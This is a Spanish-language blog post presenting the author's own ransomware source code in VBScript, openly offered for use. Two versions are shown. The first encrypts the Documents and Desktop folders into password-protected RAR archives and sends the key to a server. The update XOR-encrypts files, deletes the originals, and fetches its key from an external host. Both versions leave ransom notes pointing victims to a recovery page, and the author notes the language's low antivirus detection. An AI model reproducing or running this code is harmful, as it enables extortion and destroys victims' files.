Bienvenido: Codigo De Un Ransomware En VBScript

Esta ves solo vengo con el código fuente de un ransomware hecho por mi en vbscript, elegí VBScript ya que para mi es mas fácil de usar y su difícil detección por los antivirus.

Y como los script no pueden leer binarios así que este código para que funcione en la PC victima tiene que tener instalado el winrar ya que hace uso de el para poder comprimir los archivos.

Lo que hace es sencillo es tomar los archivos de el escritorio y de mis documentos y comprimir los con una clave aleatoria muy larga y difícil de descifrar, esta clave es enviada a el servidor de el hacker y después de eso los archivos son eliminados quedando solo los rar que creo nuestro ransomware.

Yo lo probé en mi pc por eso en la linea donde tiene que ir el nombre del servidor dice http://localhost

aquí el código

option explicit
dim shell,system,document,x,password,nombre,winrar,ObjHttp,desktop,datos,procesos,p,l,f

randomize

set shell = createobject("wscript.shell")
Set objhttp = createobject("Microsoft.XmlHttp")
set system = createobject("scripting.filesystemobject")
Set procesos =GetObject("winmgmts:")

winrar = shell.ExpandEnvironmentStrings("%PROGRAMFILES%") & "\winrar\rar.exe"
document = shell.SpecialFolders("MyDocuments")
desktop = shell.SpecialFolders("Desktop")

if system.fileexists(winrar) then
   for x = 1 to 1024
      password = password & hex(int((255-16+1)*rnd + 16))
   next
      
   for x = 1 to 100 
      nombre = nombre & hex(int((255-16+1)*rnd + 16))
   next
   
   datos = "nombre=" & nombre & "&password=" & Lcase(password)
   objhttp.open "POST","http://localhost/ransomware/",false
   objhttp.setRequestHeader "Content-type", "application/x-www-form-urlencoded"
   objhttp.send datos
      
   if objhttp.responsetext="Los Datos Se Recivieron Correctamente En El Servidor..." then
   
   shell.run "cmd /c cd %PROGRAMFILES%&winrar\rar.exe a -ep2 " & desktop & "\MisDocumentos.rar  " & chr(34) & document & chr(34) & "  -hp" & password & " -r",1
   shell.run "cmd /c cd %PROGRAMFILES%&winrar\rar.exe a -ep2 " & desktop & "\MiEscritorio.rar  " & chr(34) & desktop & chr(34) & "  -hp" & password &" -r",1 

   do while x<>0
      x=0
   wscript.sleep 2000
         set l = procesos.instancesof("win32_process")
         For Each p In l
            if p.name = "Rar.exe" then
               x=x+1       
            end if    
         next
  loop
  
  'borrar(desktop)
  'borrar(document)
     
  set f = system.createtextfile(desktop & "\Recover_My_Files.html")
     f.writeline("<html>")   
  f.writeline("<head>")   
  f.writeline("<title>Practicas De Un Ransomware   ...:::: By Flamer::::...</title>")   
  f.writeline("</head>")   
  f.writeline("<body>")   
  f.writeline("<center>")   
  f.writeline("<h1>ATENCION</h1>")   
  f.writeline("<h4>TUS ARCHIVOS HAN SIDO COMPRIMIDOS CON CONTRASEÑA, PARA RECUPERARLOS INGRESA A ESTA PAGINA E INGRESA EL SIGUIENTE CODIGO:</h4><br><br><br>")   
  f.writeline(nombre)   
  f.writeline("<br><br><br><br><br>")   
  f.writeline("<a href='http://localhost/ransomware/recover.php'>Recuperar Mis Archivos</a> ")   
  f.writeline("</center>")   
  f.writeline("</body>")   
  f.writeline("</html>")   
  
  
  
   else 
     msgbox "Huvo Un Error Al Enviar Los Datos",,"Aviso De Error" 
   end if
   
else
   msgbox "La Aplicacion Winrar No Esta Instalada En Este Equipo, Por Lo Tanto El Ransomware No Se Ejecutara En Este Ordenador...",,"Aviso De Error"
end if
msgbox "Programa Finalizado"

function borrar(ruta)
   dim carpeta,listfiles,listfolders,f
   
   set carpeta = system.getfolder(ruta)
   set listfolders = carpeta.subfolders
   set listfiles = carpeta.files
   
   for each f in listfiles
      f.delete
   next 

   for each f in listfolders
      f.delete
   next   
end function

------------------------------------------------------Actualización---------------------------------------------------

Esta ya no hace uso del winrar, ahora en-cripta los archivos de forma binaria

option explicit
dim shell,fso,document,f,password,desktop,id

set shell = createobject("wscript.shell")
set fso = createobject("scripting.filesystemobject")

document = shell.SpecialFolders("MyDocuments")
desktop = shell.SpecialFolders("Desktop")

set f = fso.getfolder(document)
id = f.drive.serialnumber 

password = Contrasena(id)

Encriptar(document)
Encriptar(desktop)

msgbox "Para Recuperar Tus Archivos Ingresa a La Direccion:" & vbcrlf & vbcrlf & "http://practicashacking.net23.net/ransomware/Recover.php" & vbcrlf & vbcrlf & "Tu ID Es: " & id,,"Programa Finalizado" 

function Contrasena(id)
  dim objhttp
  Set objhttp = createobject("Microsoft.XmlHttp")
  
  objhttp.open "POST","http://practicashacking.net23.net/ransomware/index.php",false
  objhttp.setRequestHeader "Content-type", "application/x-www-form-urlencoded"
  objhttp.send "id=" & id

  Contrasena = objhttp.responsetext
end function

function Encriptar(ruta)
   dim carpeta,listfiles,listfolders,f
   
   set carpeta = fso.getfolder(ruta)
   set listfolders = carpeta.subfolders
   set listfiles = carpeta.files
   
   for each f in listfiles
      archivo(f.path)
   next 

   for each f in listfolders
      Encriptar(f.path)
   next   
end function

function archivo(path)
   dim file,largo,i,f,b,p,n
   
   set file = fso.getfile(path)

   largo=file.size 

   set f = file.OpenAsTextStream()
   redim bytes(largo)
   
   n = 1 
   
   for i=0 to largo - 1
      if n = len(password) then 
      n = 1
   else
         n = n + 1   
      end if   
   p = asc(mid(password,n,1))
      b = asc(f.read(1)) xor p
   bytes(i) = chr(b)
   next 
 
   f.close  
   
   set f = fso.createtextfile(file.path & ".crypt") 
 
   for n = 0 to i - 1
      f.write(bytes(n))
   next
 
   f.close 
   file.delete
end function

bueno saludos Flamer

bienbenidos

Codigo De Un Ransomware En VBScript